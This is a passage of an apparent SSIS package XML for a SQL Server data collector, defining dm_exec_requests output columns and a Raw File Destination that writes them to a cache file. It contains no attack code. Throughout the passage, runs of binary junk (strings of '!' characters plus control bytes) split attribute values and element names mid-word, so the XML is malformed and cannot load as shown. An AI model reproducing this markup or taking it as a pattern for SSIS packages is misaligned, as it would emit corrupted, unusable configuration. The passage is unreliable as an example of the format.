frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[last_request_end_time]" name="last_request_end_time"/><outputColumn refId="Package\LOOP - Query the	!!!!!!!!!!!!!!!!!!!!!!!!`D7	!Hv query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[open_resultsets]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[open_resultsets]" name="open_resultsets"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[session_row_count]" dataType="i8" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[session_row_count]" name="session_row_count"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[prev_error]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[prev_error]" name="prev_error"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[pending_io_count]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[pending_io_count]" name="pending_io_count"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[command]" dataType="wstr" length="32" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[command]" name="command"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[statement_start_offset]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[statement_start_offset]" name="statement_start_offset"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[statement_end_offset]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[statement_end_offset]" name="statement_end_offset"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[collection_time]" dataType="dbTimeStamp" lineageId="Package\LOOP - Query	!!!!!!!!!!!!!!!!!!!!!!!!`E7
4"Hv the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[collection_time]" name="collection_time"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[sql_handle]" dataType="bytes" length="64" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[sql_handle]" name="sql_handle"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[plan_handle]" dataType="bytes" length="64" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Error Output].Columns[plan_handle]" name="plan_handle"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache" componentClassID="{04762BB6-892F-4EE6-AD46-9CEB0A7EC7A2}" contactInfo="Loads raw data into a file.;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;2" description="Loads raw data into a file." name="RFD - Write data to a cache" validateExternalMetadata="False" version="2"><properties><property dataType="System.Int32" description="Specifies the mode used to access the file." name="AccessMode" typeConverter="AccessMode">1</property><property dataType="System.Null" description="Output file name" name="FileName" UITypeEditor="Microsoft.DataTransformationServices.Controls.NonValidatingFileNameEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.String" description="Name of the variable that contains the file name" name="FileNameVariable">User::CacheFileName</property><property dataType="System.Int32" description="Indicates what option is used to write to the file." name="WriteOption" typeConverter="WriteOption">2</property></properties><inputs><input refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input]" hasSideEffects="true" name="Raw File Destin	!!!!!!!!!!!!!!!!!!!!!!!!`F7[Hvation Input"><inputColumns><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[statement_start_offset]" cachedDataType="i4" cachedName="statement_start_offset" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[statement_start_offset]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[statement_start_offset]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[statement_end_offset]" cachedDataType="i4" cachedName="statement_end_offset" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[statement_end_offset]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[statement_end_offset]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[collection_time]" cachedDataType="dbTimeStamp" cachedName="collection_time" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[collection_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[collection_time]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[sql_handle]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[sql_handle]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[plan_handle]" cachedDataType="bytes" cachedLength="64" cachedName="plan_handle" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[plan_handle]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[plan_handle]"/><inputColumn refId="Packa	!!!!!!!!!!!!!!!!!!!!!!!!`G7Hvge\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[row_id]" cachedDataType="i4" cachedName="row_id" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[row_id]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[row_id]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[session_id]" cachedDataType="i2" cachedName="session_id" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_id]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_id]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[request_id]" cachedDataType="i4" cachedName="request_id" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[request_id]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_id]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[exec_context_id]" cachedDataType="i4" cachedName="exec_context_id" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[exec_context_id]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[exec_context_id]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[blocking_session_id]" cachedDataType="i2" cachedName="blocking_session_id" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[blocking_session_id]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[blocking_session_id]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Desti	!!!!!!!!!!!!!!!!!!!!!!!!`H7-tJHvnation Input].Columns[is_blocking]" cachedDataType="bool" cachedName="is_blocking" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[is_blocking]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[is_blocking]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[blocking_exec_context_id]" cachedDataType="i4" cachedName="blocking_exec_context_id" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[blocking_exec_context_id]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[blocking_exec_context_id]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[scheduler_id]" cachedDataType="i4" cachedName="scheduler_id" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[scheduler_id]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[scheduler_id]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[database_name]" cachedDataType="wstr" cachedLength="128" cachedName="database_name" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[database_name]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[database_name]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[user_id]" cachedDataType="i4" cachedName="user_id" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[user_id]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[user_id]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[task_state]" cachedDataType="wstr" cachedLength="10" cachedName="task_state" externalMetadataColumnId=	!!!!!!!!!!!!!!!!!!!!!!!!`I7x6E
rHv"Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[task_state]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[task_state]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[request_status]" cachedDataType="wstr" cachedLength="15" cachedName="request_status" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[request_status]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_status]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[session_status]" cachedDataType="wstr" cachedLength="15" cachedName="session_status" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_status]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_status]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[executing_managed_code]" cachedDataType="bool" cachedName="executing_managed_code" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[executing_managed_code]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[executing_managed_code]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[login_time]" cachedDataType="dbTimeStamp" cachedName="login_time" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[login_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[login_time]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[is_user_process]" cachedDataType="bool" cachedName="is_user_process" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SE	!!!!!!!!!!!!!!!!!!!!!!!!`J7x'HvQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[is_user_process]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[is_user_process]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[host_name]" cachedDataType="wstr" cachedLength="20" cachedName="host_name" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[host_name]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[host_name]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[program_name]" cachedDataType="wstr" cachedLength="50" cachedName="program_name" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[program_name]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[program_name]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[login_name]" cachedDataType="wstr" cachedLength="30" cachedName="login_name" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[login_name]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[login_name]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[wait_type]" cachedDataType="wstr" cachedLength="45" cachedName="wait_type" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[wait_type]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[wait_type]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[last_wait_type]" cachedDataType="wstr" cachedLength="45" cachedName="last_wait_type" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Ra	!!!!!!!!!!!!!!!!!!!!!!!!`K7x	Y`Hvw File Destination Input].ExternalColumns[last_wait_type]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[last_wait_type]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[wait_duration_ms]" cachedDataType="i8" cachedName="wait_duration_ms" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[wait_duration_ms]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[wait_duration_ms]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[wait_resource]" cachedDataType="wstr" cachedLength="50" cachedName="wait_resource" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[wait_resource]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[wait_resource]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[resource_description]" cachedDataType="wstr" cachedLength="140" cachedName="resource_description" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[resource_description]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[resource_description]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[transaction_id]" cachedDataType="i8" cachedName="transaction_id" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[transaction_id]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[transaction_id]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[open_transaction_count]" cachedDataType="i4" cachedName="open_transaction_count" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[open_tra	!!!!!!!!!!!!!!!!!!!!!!!!`L7x
,b=+Hvnsaction_count]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[open_transaction_count]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[transaction_isolation_level]" cachedDataType="i2" cachedName="transaction_isolation_level" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[transaction_isolation_level]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source 